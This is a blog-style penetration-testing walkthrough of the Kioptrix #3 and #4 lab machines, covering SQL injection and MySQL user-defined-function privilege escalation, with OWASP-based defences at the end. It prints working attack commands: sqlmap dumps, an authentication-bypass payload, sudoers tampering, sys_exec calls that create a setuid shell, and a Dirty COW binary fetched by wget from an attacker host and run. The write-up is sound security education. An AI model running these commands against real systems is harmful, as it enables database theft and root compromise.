SQL INJECTION ATTACKS: A FOCUS ON USER-DEFINED FUNCTIONS IN MYSQL RELATIONAL DATABASE.

ABSTRACT

This article seeks to show how an attacker can leverage the concept of SQL Injection attacks with a focus on manipulating user-defined functions found in MySQL relational database.
The attacks simulated here were inspired by vulnerabilities found in 2 CTF style machines I encountered in preparation for my Offensive Security Certified Professional (OSCP) Exams and I resolved to use the lessons learned to address this prevalent problem. In this article, I show how an attacker can gain access to an unauthorized system over a network and escalate privileges to become root and have control over the database. The walkthroughs suggest various methods to achieve this but with a focus on the various means, SQL injection can be used as a means to gain access and a look into the user-defined functions manipulating them to escalate privileges.

DISCLAIMER

The names mentioned in this article do not relate to any real individuals but it is a fictitious description based purely on my imagination to help explain the issue at hand and also proffer solutions that can be implemented however in a real-world situation. Any resemblance to an actual person living or dead or actual events is purely coincidental.

INTRODUCTION
Death by Non-Clinical Injection:

Bob is a successful businessman 65-year-old haven put in over 30 years in service was just in time for a retirement when the unforeseen happened. He lays in his sickbed at home not talking, suffering from after-effects of multiple heart attacks and being monitored closely by a team of medical personnel. His wife says he has not spoken a word in 2 months since the incident. The only sound from the room is the beeping medical devices closely monitoring his vitals.

Hardly a week goes by in recent times without one form of data breach making the news headlines bringing corporations to their knees; with a huge dent on their reputation but we never get to hear stories of customers the likes of Bob in delusion and sick thinking how did this happen in the first place. Losing all your life savings at 65 is just one of many stories, true stories that abound today resulting from corporations failing to do their due diligence in securing their online assets or better still doing it the right way.
Sadly Bob does not make it another victim of SQL injection attack and a misconfigured MySQL Server running as root!


This article serves as a call for urgent action to corporations and businesses to create awareness and prevent the menace of Injection Attacks with a focus on SQL Injection which is just one of many variants(others are OS and LDAP) of Injection attacks on the rise lately. Injection attacks have resided at the top of the OWASP Top 10 list since 2013 and I don’t see it going down or out of the list anytime soon. It is not my intent to bore you with the terminologies and definitions however we cannot speak on this topic without bringing a few forward but I will save that for later. Let’s head straight into the eye of the attacker and reconstruct events leading to this kind of attack and how they are made possible, what a corporation with such assets may have done wrong and finally how to prevent them. How safe is your organization or those you deal with? This is a global awareness campaign and calls for action!

I would reconstruct events using 2 CTF Style machines to address how they can be compromised using the SQL injection with different methodologies. SQL vulnerability is just one of many attack vectors an attacker can leverage to gain access to a machine/webserver nicely sitting in a cool area of a corporate organization’s IT infrastructure and could be a gold mine for such malicious attackers when they strike.

PROOF OF CONCEPT(POC)

This attack is simulated on virtual machines installed on my computer.
Attackers Machine: Kali Linux 2019.4
Source: Offensive Security Kali Linux download

Vulnerable Virtual Machine 1: Kioptrix #3
Vulnerable Virtual Machine 2: Kioptrix #4
Source: Downloaded from Vulnhub for practical penetrations tests.
Virtualization Platform: Oracle Virtual Box

KIOPTRIX #3:
METHOD 1
We have a vulnerable machine named Kioptrix #3 to successfully exploit and gain root we are going to take advantage of findings from a Penetration test assessment we carry out. The steps for this assessment would be in line with the usual patterns of;
Reconnaissance
Enumeration
Low Privilege Exploitation
Privilege Escalation

Since this is not a Pentest report so we take the tasks one step at a time with the ultimate focus on achieving our aim.

Step 0: Recon
First I scan the network with the netdiscover command:
root@kali:~# netdiscover -i eth1

The IP address as seen from our scan is 192.168.56.104 for the vulnerable virtual machine.


Step 1: Enumeration

The next thing I do is to carry out a Nmap scan for TCP ports as shown below;
Setting the following options for execution;-p- This scans the entire port range of 1 through 65535
-A will try to determine service versions and OS
-T4 option performs aggressive scan prohibiting delays
-oN because I like to output my scans nicely for future reference I use this option and give it a nice file name as a text file as seen in the image below

Nmap returns 2 major port being;

22 -SSH (This is not usually my low hanging fruit to look out for as it may require some extra effort to brute force80- HTTP (Anytime I find an HTTP open it opens the world of opportunities and the first thing that comes to my mind is this is possibly a webserver out there.

I resolved to look up port 80 and enumerate with dirb further
dirb http://192.168.56.104
I later found a PHP admin page which is interesting but I would come to this later.

While dirb was running in the background I resolved to visit the IP address directly at port 80 i.e. http://192.168.56.104

My discovery is a Ligoat web app and also a login page running Lotus CMS.

Step 2: Exploitation
As I aim to find a way in I resolved to initially look for an exploit on meterpreter
Opening msfconsole in the command line I proceed to search for LotusCMS and find an exploit

I use the meterpreter exploit
use exploit/multi/http/lcms_php_exec

I then set up the options for RHOSTS as 192.168.56.104 and ran the exploit command

I run the exploit command and immediately get a meterpreter shell.

I get a meterpreter shell and try to use a python one line to upgrade to a TTY shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’

I navigate to /home directory and find 2 users

I further check CompanyPolicy.README file and find the need to use a sudo ht to edit and view files which I note, I attempted to run the command but it requires a password which I do not have so I decided to look further

I resolved to look at the result of our dirb query which also coincides with directories I found from the www directory and amongst the directory/files found was interestingly a /gallery directory
I visit the page to have a quick look around also Also, access this through the shell and find some files of interest we can query for some sort of password for the discovered users.

I decided to search the directories since I found a useful one-liner for such query which will help simplify the process of finding all files with a .php extension within 4 directories of the / directory with a pattern match of password and can also if errors are found resolve them to dev/null to give us some good looking output free of irrelevant items. I get to work;

find / -maxdepth 5 -name *.php -type f -exec grep -Hn password {} \; 2>/dev/null

Eureka!!! we find a password in clear text within the MySQL database. These are the kind of mistakes Engineers and web developers make in reality which holds dire consequences once it gets in the hands of an unscrupulous & malicious hacker. Another misconfigured database with credentials in cleartext.

See below pix within directories in our machine having a password for MySQL database and I immediately move swiftly without delays by navigating to that directory

I cat the file gconfig.php and find credentials for root to MySQL database.

I go to the PhpMyAdmin page we got from dirb and enter to access the MySQL and we can access the files.

I login in using credentials just found for the database and I am ushered into a beautiful vault interface just like a high profile individual visiting a bank where he has stashed his precious personal effects.
As I take a step, (lol) I mean I navigated to dev_accounts there I am welcome to my greatest amazement by 2 usernames and password hashes and I can use a cracking tool the likes found at http://www.crackstation.net to crack them easy-peasy in a few seconds

I successfully crack a password for 2 users to bring us one more step to success. I take a stretch in my seat and rub my palms in a sinister fashion with a grim smile while making notes of my findings:

dreg
password = Mast3r

loneferret
password = starwars

I attempt to use these credentials to login our meterpreter shell with credentials
do an ls command
I then run command sudo ht but unfortunately find nothing

So I decide to use SSH on port 22 we found earlier for some low privilege exploitation;

ssh loneferret@192.168.56.104
and it perfectly works… it is a success!!!

Now I look around first and then try the command sudo ht and get an error.
#Error opening terminal: xterm-256color.


I google to find a solution and find this command from https://www.stackoverflow.com/

#export TERM=xterm

this works nicely and I rerun the sudo ht command and now we are inside a ht program. I have no idea how it functions but I boldly and in no time figure it out from navigating the menus.

I use Alt F to access File menu>open and type
/etc/sudoers
Now I can add a command for executing root which is /bin/sh to privileges for our user as seen below

Next, I then go back to our shell and log in as loneferret
sudo /bin/sh
we have gotten root!

Congrats!!!

We can see how credentials within the MySQL database can be a potential vector to gain access to a machine remotely but the essence of this inquest would not be clear if we do not delve into another method of exploiting the MySQL database itself as in my opinion is a lot easier and in line with an actual injection exploit this article seeks to present.

METHOD 2

Now I recall finding /gallery directory from our dirb query
Now I navigate to 192.168.56.104/gallery and put my mouse over the links to see it is trying to resolve a domain kioptrix3.com

I decide to resolve this locally by adding it to our /etc/host file
I use a vi /etc/host
add 192.168.56.104 kioptrix3.com

I exit the terminal restart my Firefox open new private window and enter http://kioptrix3.com/gallery
Here I find an exploitable parameter to inject into and look around only to find a pull-down menu which when I attempt to upload an item I get a show id=1 parameter. Such a discovery is a mouthwatering find and hope for a bigger feast when looking for injection vulnerabilities. I proceed to replace all preceding items with ‘ or %27 only to find MySQL error
which is somewhat good news as I may be able to exploit the MySQL database with this finding.

I can exploit this in several ways but to have a bit of control and understand what is going on within the page and its requests I will leverage a tool called Burp suite for which we must set up proxy burp and send the command to sqlmap for further attack.

I send command kioptrix3.com/gallery/gallery.php?id=1

then play the request in burp; intercept it, thereafter I simply copy the request to file and save as sqli1

I open this file with vi editor put * after id parameter and save it. Doing this tells sqlmap that I want to use the id parameter as the injection point for all its attacks

I save the file in vi using:wq and prepare for the attack
Its time to get this bad boy to work!

Next:
I first ensure all weapons are fully functional and guns are drawn and ready to fire!!!
(The good the bad and the ugly soundtrack running through my mind!!!)

Okay! I do not shoot real guns I just proceed to sqlmap in my Kali Linux machine

I proceed to SQL injection with the command below:
sqlmap -r sqli1 –risk=3 –levels=5 -D gallery –tables –batch

Note # 3 and 5 is maximum for both risk and depth levels and they work well for these kinds of searches

Also, there is a –batch command which simple helps us to answer defaults to everything without boring us with monitoring and answering prompts

Next:
I pull the trigger(hit ENTER)

I dump tables
#I run another sqlmap command specify a located table dev_accounts

sqlmap -r sqli1 –risk3 –levels5 -D gallery -T dev_accounts –dump –batch

Here I find usernames and hashed passwords and auto crack them in sqlmap

So I can use this information to escalate privileges by using SSH on port 22 and running the xterm command earlier done to manipulate sudo ht and add /bin sh to elevate privileges and finally get to root.
This shows the devastating effect of sqli vulnerability in our web applications as simple as a ‘ can be a dead giveaway for an attacker to exploit to gain access.



KIOPTRIX #4

This machine is quite similar to other Kioptrix machines and can be rooted using SQL injection using either automatic/manual approach.

Once pwned I can escalate privilege through use of exploits and one way is through MySQL database misconfigurations


Step 0: Recon
netdiscover -i eth1

Step 1: Enumeration
Nmap scan and output our result to a file as shown below;

Further enumeration I visit the page on port 80 http://192.168.56.106
behold we get a login webpage

Aha! the first thing that comes to mind naturally should be SQLi I first decide to view the page source if anything of interest.

Some information might be of utmost value in case I would like to run Burpsuite to proxy and do further investigation.

Meanwhile in the background I unleash dirbuster.
dirbuster http://192.168.56.106:80/
I increase the threads to go faster and use the small password list as shown below;

I can see results with usernames within a few minutes

While dirbuster was running I decided to take a look as Samba we found and enumerate it for users and anonymous login
We can also look into Samba
smbclient -L ////192.168.56.106// -N
#N for anonymous login search

I decide without further wasting time to try and run an SQL injection payload with username john and robert and I was able to log in

using 1′ or ‘1’=’1

So I save these credentials and can use these to try to login via SSH

Although I can log in I cannot do much before I got kicked out so I resolve to employ another method to automate the process as I have simply accessed with a manual approach.

I try to elevate user privileges using a bash script for lpath shell-type after research I run the command;
echo os.system(‘/bin/bash/)

I then cd /root
ls
and behold I found the flag.

Although the above method is not of interest per this article this is just to reiterate that there are several ways to get into a machine. Like my granny would say there are many ways to catch a rat.

I will proceed to look for some sort of SQL database within the system for us have a more interesting look at the subject being discussed so we go back a few steps assuming we have not gained root. A simple cd \ command
Now, I do a simple ps aux |grep SQL to look for running processes and find a MySQL database running as root. Perfect!

I decide to use a simple script which will search for all files in the var/www directory where most web directories are located on a server and issues the command below;

grep -rl “password” *
I have found a couple of files from our search and they sure look very attractive to dig further into.

Now I proceed to check them one after the other and started with the command;
cat checklogin.php

Immediately something catches my eye a MySQL username and a blank password entry;

This discovery shows that if we have the privilege as root to MySQL database we can elevate privileges of other users. I just do not want to spoil the fun. Not just yet so I resolved to further trying another method which I found very interesting and which addresses a huge challenge organization suffering data breaches face today in reality. This is very often taken advantage of by attackers.

I log in to MySQL as root and dish out the following commands swiftly;
mysql -u root

There is a module called user-defined function (UDF) in MySQL which enables execution of system commands in MySQL this we will take advantage of since we are running as root we can run root commands and elevate privileges of other users and other interesting stuff.

mysql> use mysql;

SELECT * FROM mysql.func;

I see the table with sys_exec function. What the above command does is to display all the user-defined functions in MySQL database

I will copy this file to the /tmp directory
change ownership to root
#using chmod and chown commands
This would enable me to run tmp/sh as root and then get a root shell hopefully

select sys_exec (‘cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh’);


I run the command and it is successful. We have successfully escalated privileges by so doing and this has devastating effects in any database as we would come to understand later.

I exit out of MySQL
mysql> exit
Bye

Or use Ctrl C

Or \! bash -i

These are various methods of elevating privileges once we have access to the root account of any SQL database

I then change directory into the /tmp folder;
cd /tmp
ls
./sh

I check the id to know who is the owner
#id is john
cd /root
ls
congrats.txt
cat congrats.txt

Not so fast! We can go on and on exploit this database in several ways so I resolved to show you another method;
An alternative method which I love so much and in my opinion is simple and effective is we can add our user, for example, john to admin group still exploiting same vulnerable sys_exec functions within MySQL under its mysqludf as shown below;
First, we log back into MySQL as root since we already found those credentials and then enter the command below to make john an admin;

mysql> SELECT sys_exec( “usermod -add -G admin john”);

OR

mysql> SELECT sys_exec(“usermod -aG admin robert”)

Any of these variants will yield the same result.

I also went ahead to show we can add other users by further simplifying the command using;
mysql> SELECT sys_exec(“usermod -aG admin robert”);

We exit out of MySQL with the command nicely with;
\bash -i
sudo su

w00t w00t we are root!!!

From the above, we can confirm that the sys_exec function can be exploited in the MySQL database in quite several ways which could result in exposing sensitive data in our organization.

Other methods of exploitation that I do not want to discuss because I am limiting this discussion to SQL injections and critical misconfigured MySQL Servers. Amongst them notably is the dirty cow exploit where we would have to compile the exploit in our Kali attack machine with the GCCWe can search for the dirty cow in exploit-dbcompile it to dirtycow using GCC and set up a simple HTTP server with a one-liner python command;
python -m SimpleHTTPServer:80

Once this is running we navigate to our target machine we simply do a
wget 192.168.152.136/dirtycow
chmod +x dirtycow
And execute with;
./dirtycow Enter a new_passwd
su
ENTER
Boom we are in as root! We can take control of a misconfigured MySQL Server running as root.

SQL INJECTION ATTACKS: A FOCUS ON USER-DEFINED FUNCTIONS IN MYSQL RELATIONAL DATABASE.

Statement of Purpose:

The proof of concepts established above takes advantage of a running MySQL database server application which is very popular amongst our corporations globally. Interestingly there are several factors which make this exploit possible and significantly amongst them are;
1. MySQL User-defined functions known as UDF
2. The server and client application.

A user-defined function is distinct attributes of MySQL server application which enables us to harness the existing functions in MySQL used in performing a wide range of tasks.
As a python developer myself one thing I find fascinating in programming is the ability to create your functions and add to the existing library to solve tasks. This is the same way UDF work in MySQL. A developer can take advantage of this feature and provide better functionality and flexibility in their code to provide the desired response and input from the existing libraries. Simply user-defined functions are added by linking function calls in MySQL to functions available within the default system libraries.
The benefits of coding are to make our lives better and I absolutely would not blame developers for this but there is a need to ensure for safe practices when we attempt these “programmatic tweaks in our code” as it is costly.
Unfortunately, we would not go into details of how all these are compiled and coded within our environments for Windows and Unix but I would attempt to bring forth some critical issues which every developer can look into and incorporate in a bid to mitigate these attacks.

Attacking Server and Client-Side Databases
In the POC we discussed earlier we start with introducing a controlled input into a SQL query in an unsafe way.
And if client-side applications access local SQL databases using the attacker-controlled data in an unsafe way, then exactly the vulnerabilities can arise.

The only difference between server and client-side attacks is the channel via which the attacks are delivered and the available mechanism for extracting such captured data for use by the attacker

When a user submits data, status updates are generated and sent over through the server to the local MySQL database. If the data is not sanitized by the application and is inserted directly into the client-side SQL query, then the client-side application is probably vulnerable.

Classification of SQL Attacks
SQL Injection attacks can be classified into three broad classes:

In-band:
This is about the easiest and most common SQL injection attack. In this case, data is extracted using the same communication channel that is used to inject the SQL code. The retrieved data is presented directly in the application web page and the most common amongst this is Error based SQL injection and Union based SQL injection.

Out-of-band:
Here requires data being retrieved from a different channel. In this case, the attacker is unable to use the same channel for both launching attacks as well as gathering the information. Instead, they would employ another service such as DNS or HTTP requests to deliver the exfiltrated data. It could be in the form of exploiting through one channel and having an email sent over with the compromised data.

Inferential:
This is popularly referred to as Blind SQL injection and in this case, there is no actual transfer of data, no data is displayed on the web page as such the attacker is unable to see the outcome of the attack. However, with some smart understanding of replays and a keen eye, the attacker is able to able to reconstruct the data and get useful information by sending particular requests and observing the web application servers’ behavior and responses.



Hybrid Attacks
The concept of hybrid attacks is to combine more than one exploit for the purpose of attacking an application in most cases this provides a more devastating effect and compromise which is usually more than when the SQL injection is done in parts. It is usually done in combination with other attack techniques to achieve the desired objectives.

OWASP & SQL INJECTION
The Open Web Application Security Project is an online community that produces freely-available articles, methodologies, documentation, tools, and technologies in the field of web application security.

One of my go-to references during a penetration test assessment is the OWASP reference and to this day I do write my reports using the OWASP guideline which is a robust document covering about 124 grueling tests for a Web Application Pentest using the OTG4 standards.
Its in-depth assessment for Injection attacks which ranks number one on its top 10 is voluminous and deals with several issues.

According to OWASP SQL injection attacks are unfortunately very common and quite shameful in their opinion that this kind of attack which is extremely easy to avoid is still on the rise, and this is due to two factors:
1. the significant prevalence of SQL Injection vulnerabilities, and
2. the attractiveness of the target (i.e., the database typically contains all the interesting/critical data for your application).


OWASP suggestions to prevent SQL Injection flaws begin with the developer team since the issue is mainly with the code, they write in a manner that can be referred to as dynamic database queries which include user-supplied input.

The OWASP suggestions are pretty simple to mitigate these attacks and are outlined below; Developers need to either:
a) stop writing dynamic queries; and/or b) prevent user-supplied input that contains malicious SQL from affecting the logic of the executed query.

Primary Defenses:
• Option 1: Use of Prepared Statements (with Parameterized Queries)
• Option 2: Use of Stored Procedures
• Option 3: Whitelist Input Validation
• Option 4: Escaping All User Supplied Input
Additional Defenses:
• Also: Enforcing Least Privilege
• Also: Performing Whitelist Input Validation as a Secondary Defense


Based on our findings from our proof of concept CTF above I would establish the following facts in my opinion below and this is also in line with suggestions proffered by OWASP;

Conditions for a Successful Attack
As we have established above there are numerous factors that make exploiting user-defined functions in MySQL a possibility. Notable amongst these are the following:
i. Initial foothold or access to an existing user account-
As we see from the proof of concepts in both cases, I always attempt to first get access to a user account.
1. Remote access-
• Operating, as well as MySQL service, must be accessible remotely.
1. User accounts must have insert privileges on the MySQL database.
2. mysqld is a MySQL service that runs and enables users to store configuration files or data for the local database. It is a server daemon program that runs quietly in the background on your computer system.
3. MySQL has the capability of allowing us to create user-defined functions on the underlying operating system. This was first discovered several years ago by Marco Ivaldi in his research work oo the raptor_udf2.c project. Although this has its limitations it still works perfectly well in most environments.
4. Studies have shown that for older operating systems it is worthy of note that the /etc/cron.d/mysql file is writable by MySQL users not necessarily root however if an attacker with access can probably get read and write privilege with a simple chmod 666 i.e. -rw-rw-rw- command to a usr/lib through an SQLi since the cron process is run natively as root. For a Windows environment, mysqld runs as SYSTEM.
5. Users must have Insert privileges in MySQL database and this is easily achieved with a simple insert command and enables them to add user-defined functions. You can find the list of users on your database that have the INSERT privilege with a simple command in MySQL.



Prevention
We can never be 100% safe but if we proactively do certain things in a bid to up our defenses chances are that we would maintain some sanity for a long time and not be a potential target. And we must strive to keep improving on our security posture. I know that most attackers usually go for low hanging fruits and vulnerabilities that are easier to exploit. I subscribe to working in and around these steps below based on organizational requirements;
i. Ensure all user accounts on the database are safe and this can be achieved by the administrator restricting access to the insert privilege. It would be a good idea for DBAs to use the command below to list all users on the MySQL database with insert privilege

mysql> use mysql;
mysql> select User, Host from user where Insert_priv=’Y’;

As soon as this is established it should be limited with the commands below to remove Insert privilege from the database:
mysql> update mysql.user set insert_priv=’N’
-> where user='<NON_ADMIN_USER>’;

• principle of least privilege must be followed in every organization. We realize that if the attacker had accessed the mysql database as a non-privileged user he would have been unable to carry out the attack successfully as such it is pertinent to state that all “mysql” accounts must be created with limited privileges and MySQL services can be reconfigured to run as the “mysql” with limited privilege.

ii. We established from above conditions and PoC in our test on Kioptrix #3 and 4 that for a successful attack there must be remote access as such it would be pertinent for the DBA to prevent remote access to such user accounts. Especially the root account. It must as a rule of thumb never be accessible remotely. However, this may be a tall order in today’s world. If we must access such an account remotely it must be restricted to a limited number of hosts.

We can verify users that have privileged access and also the hosts with the following command
mysql> use mysql;
mysql> select User from user
-> where Insert_priv=’Y’ and Host=’%’;



To limit access to specific hosts we can use the command below;
mysql> update mysql.user set host=’ip OR hostname’
-> where user=’root’ and host=’%’;

iii. Renaming the root account from its default is mandatory. It is advisable to name to something less appealing to attackers. You can achieve this with the following command;

mysql> USE mysql;
mysql> UPDATE user SET user=’honeypotx’ WHERE user=’root’;

I believe such a name is already a big turn off for anyone with malicious intent keeping them sending them down a possible rabbit hole as they go on another round of looking for “Mr root”.

iv. The need for strong password policy implementation company-wide cannot be overemphasized.

v. The use of firewalls and proper network segmentation are issues that must be addressed between Management and the Network Engineering team as a well strong access-list policy. Virtual Private Networks with strong authentication and encryption such as IKEv2 can also be considered as solutions for connecting remote locations as MySQL traffic is usually sent unencrypted over the wire and can be intercepted by an attacker.

These amongst many others are a few recommendations but are not limited to just these sets of rules. It is important to have a dedicated and seasoned security professional in your IT teams well versed in addressing these kinds of assessments.


CONCLUSION

There is an urgent need for Management and Security teams to have a round table talk going forward to address the existing infrastructure and review security policies extensively. An immediate reassessment should be carried out in my opinion by an external team and the results discussed extensively.

If you ever find these issues within your organization after an assessment my extreme final thoughts for a worst-case scenario would be for a complete overhaul if possible, of your existing servers or building from the ground up completely new once and systematically migrating them into production. At least we have a conscience and would not want to live the rest of our lives wondering what if we just have somewhere a case of another Bob going down with the corporate Non-Clinical SQL Injection on account of our indecision!
The time to act is now!

References/Study Resources

Command execution with a MySQL UDF – Bernardo Damele.
<https://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html>
January 16, 2009

Privilege Escalation: MySQL User Defined Functions.
<https://redteamnation.com/mysql-user-defined-functions/>
Accessed January 8, 2020.

OWASP 2017 Top 10 vs. 2013 Top 10 – Infosec Resources.
<https://resources.infosecinstitute.com/owasp-2017-top-10-vs-2013-top-10/#gref>
August 15, 2017

Add a User to a Group (or Second Group) on Linux.
<https://www.howtogeek.com/50787/add-a-user-to-a-group-or-second-group-on-linux/>
March 30, 2018

Introduction. OWASP Cheat Sheet Series
<https://cheatsheetseries.owasp.org/>
Accessed January 8, 2020.

OWASP Cheat Sheet Series – OWASP
<https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html>
September 29, 2019

phpMyAdmin.net
<https://www.phpmyadmin.net/>
Accessed January 10, 2020

Learning SQL Using phpMyAdmin.
<http://www.php-editors.com/articles/sql_phpmyadmin.php>
Accessed January 10, 2020

raptor_udf2.c | Infamous SYN
<https://infamoussyn.wordpress.com/tag/raptor_udf2-c/>
Accessed January 8, 2020

OWASP.
<https://en.wikipedia.org/wiki/OWASP>
Accessed January 11, 2020

*Cybrary: Offensive Penetration Testing.
<https://www.cybrary.it/video/5-5-public-exploits/>
<Modules 5.7 -5.9> Contributions from Ojo Ailoje John Teaching Assistant for Alejandro Guinea
Published November 2019

*Cybrary: OWASP.
< https://www.cybrary.it/course/owasp/> Instructor: Ken Underhill, Glossary by Ojo Ailoje John
Published August 2019

Hands-on Penetration Testing Labs 1.0 | Udemy
<https://www.udemy.com/course/kali-linux-hands-on-penetration-testing-labs/> by Jesse Kurrus

Kioptrix: Level 1.2 (#3)
<https://www.vulnhub.com/entry/kioptrix-level-12-3,24/>
Downloads

Kioptrix: Level 1.3 (#4)
<https://www.vulnhub.com/entry/kioptrix-level-13-4,25/>
Downloads

Kali Linux Custom Image Downloads – Offensive Security
https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
Downloads

Oracle VM VirtualBox
<https://www.virtualbox.org>
Downloads

Community Shared Resources

<Several videos and CTF writeup shared in the community by Security Enthusiasts have also helped in the course of my study and I am exceedingly grateful if I have failed to mention you all individually>

January 2019/2020

Frequently Asked Questions

Question 1:
Does SQL injection attacks affect all types of database equally?

Answer:
In my opinion all database back ends are not equal for SQL injection attacks because there are several types of relational databases and they all operate in different ways, for example, the way user-defined functions work in MySQL is completely different from PostgreSQL this would definitely alter the kind of attacks as well. Generally speaking, without bias for any operating system or Vendor, Microsoft Servers are known to be more susceptible to SQL injections. There is a school of thought supporting these arguments stating this is possible because of the ability and way it supports chained and stacked queries I am yet to verify this personally in research.

Question 2:
What happens if the database configuration files are secured can this solve the problem?

Answer:
It is standard practice to harden all servers before deployment and definitely securing the configuration files will work but this would be ineffective if the underlying code is poorly written. As we saw in the user-defined function being exploited so the sanity must be all around. It goes beyond the scope of just securing configuration files.

Question 3:
Is it possible to display all the user-defined functions in MySQL?

Answer:
Yes, this is possible using the command below;
SELECT* FROM mysql.func;

Question 4:
Can a SIEM detect SQL injection?

Answer:
Yes, all properly configured SIEMs can detect such activities some SIEMS have the capability to provide Network level attacks detections- usually there are called NIDs (Network Intrusion Detection Systems). They are able to verify and identify malicious web requests sent to your web servers within your infrastructure. As long as these signatures are updates regularly you are always ahead on the front lines of advance detections.

Questions 5:
What exactly is the function of the /tmp folder and since it was used in exploiting Kioptrix #4 what can be done about it in MySQL?

Answer:
This is a very good question. When a user runs a query in MySQL temporary tables are created which use temporary files and these are written to the /tmp directory.
This is exactly what the attacker took advantage of as a location to save the .sh from where it can be executed easily.
To change it you need to edit your “my.cnf” file and replace the tmp directory with whatever new directory you may decide to create and change the path. Once this is done, you then issue the command below;#sudo service mysql restart

Written by Ailoje John Ojo

CISCO certified IT security professional currently pursuing MSc. Networking and Data Communication and CCIE Enterprise Infrastructure certification, complemented with strong technical acumen and proven success in network engineering, enterprise networks, end-user support, and Information Security & Risk assessment program management. Deft at developing security solutions, configuring Cisco and relevant technologies, and conducting network maintenance, migration, upgrade, and troubleshooting procedures for issue remediation. Track record of leading network/information security improvement initiatives, delivering LLDs/HLDs, and reconciling network activities. Adept at assessing existing networking/security systems and providing 1st/2nd/3rd line support for deployed security tools. Instrumental in motivating cross-functional teams, fostering strategic partnerships, and building capability-raising programs. I volunteer part-time as a Teaching Assistant with Cybrary a US-based company training over 2.5 million professionals and students in Cybersecurity and Network Engineering related courses. My motivation for this blog is to share my experiences, knowledge, and passion with this great community of Network and Security Enthusiasts.

This article has 5 comments

  1. Cisco Labs Reply

    This is a wonderful piece! Very detailed and professional. Thanks and hope to read more from you.

  2. Aye Odia Reply

    Well written article on SQL injection. I think you should post it on Medium, with a link to your word press site.

Leave a Comment

Your email address will not be published. Required fields are marked *